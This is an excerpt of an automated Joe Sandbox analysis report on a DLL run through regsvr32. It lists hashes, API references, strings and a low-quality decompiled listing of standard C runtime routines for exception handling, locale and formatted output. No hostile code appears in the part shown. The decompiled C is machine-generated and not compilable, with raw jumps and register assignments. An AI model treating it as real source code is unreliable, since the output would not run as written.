MessageBoxW, xrefs: 000007FEF9D31304

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: 6419c91a8387a46f3245e2fe33ee525fa99a19ae0c1292820c60068700cd62ec
Instruction ID: ae2d570b6cae00db451c80d1d2e323a85726552741c7696ed6bf884c957359fe
Opcode Fuzzy Hash: 6419c91a8387a46f3245e2fe33ee525fa99a19ae0c1292820c60068700cd62ec
Instruction Fuzzy Hash: 0F51A735A08A8286E7A09B19FC5476E73E4F784751F605035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a160);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D343A0
csm, xrefs: 000007FEF9D3429D
csm, xrefs: 000007FEF9D341BE

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: 8c50efc0869d6d00d6f15bc2f3e4a8aa3cd75fee2d20c8f1ee388d100984527e
Instruction ID: 7a4295b2110f602878fc3b4740f95154d7254c41b9f584a981bc20edbc55875e
Opcode Fuzzy Hash: 8c50efc0869d6d00d6f15bc2f3e4a8aa3cd75fee2d20c8f1ee388d100984527e
Instruction Fuzzy Hash: 6D12D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30
(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 2e8f2817575abf17236a5f031f9d249ff9066c6c73ed3770e2a1ff63e1bea630
Instruction ID: 2efa9e2c76ac9a5207add94b1133c9cb1d9f002e85ba24f4cd28f4c384247538
Opcode Fuzzy Hash: 2e8f2817575abf17236a5f031f9d249ff9066c6c73ed3770e2a1ff63e1bea630
Instruction Fuzzy Hash: 62023B72A0D7C28AE7B09B24E8447AEB7E4F380349F604125D6DC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88
s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: fa484580cb52892c02ff67f95a17d1b2129cff6d1ab00e5c74c45926566419d1
Instruction ID: 5e2c1cfd74ac96a9b2e41df821e9bd095c4032b9a62c445e43c495128706d0cc
Opcode Fuzzy Hash: fa484580cb52892c02ff67f95a17d1b2129cff6d1ab00e5c74c45926566419d1
Instruction Fuzzy Hash: E2D11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5
", xrefs: 000007FEF9D3B2E1
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483
", xrefs: 000007FEF9D3B496

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: 0349e1f67bcf58a9467b2163a48374e143b216b4fcd3e10d2347f4427f3577c7
Instruction ID: 857da3831ea488476c5fe61a9777edcdb3204cdfae2c6516af70c38e8266575f
Opcode Fuzzy Hash: 0349e1f67bcf58a9467b2163a48374e143b216b4fcd3e10d2347f4427f3577c7
Instruction Fuzzy Hash: 97C1F932A0D68286E7B09B55E8547BEB7E0F784344F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
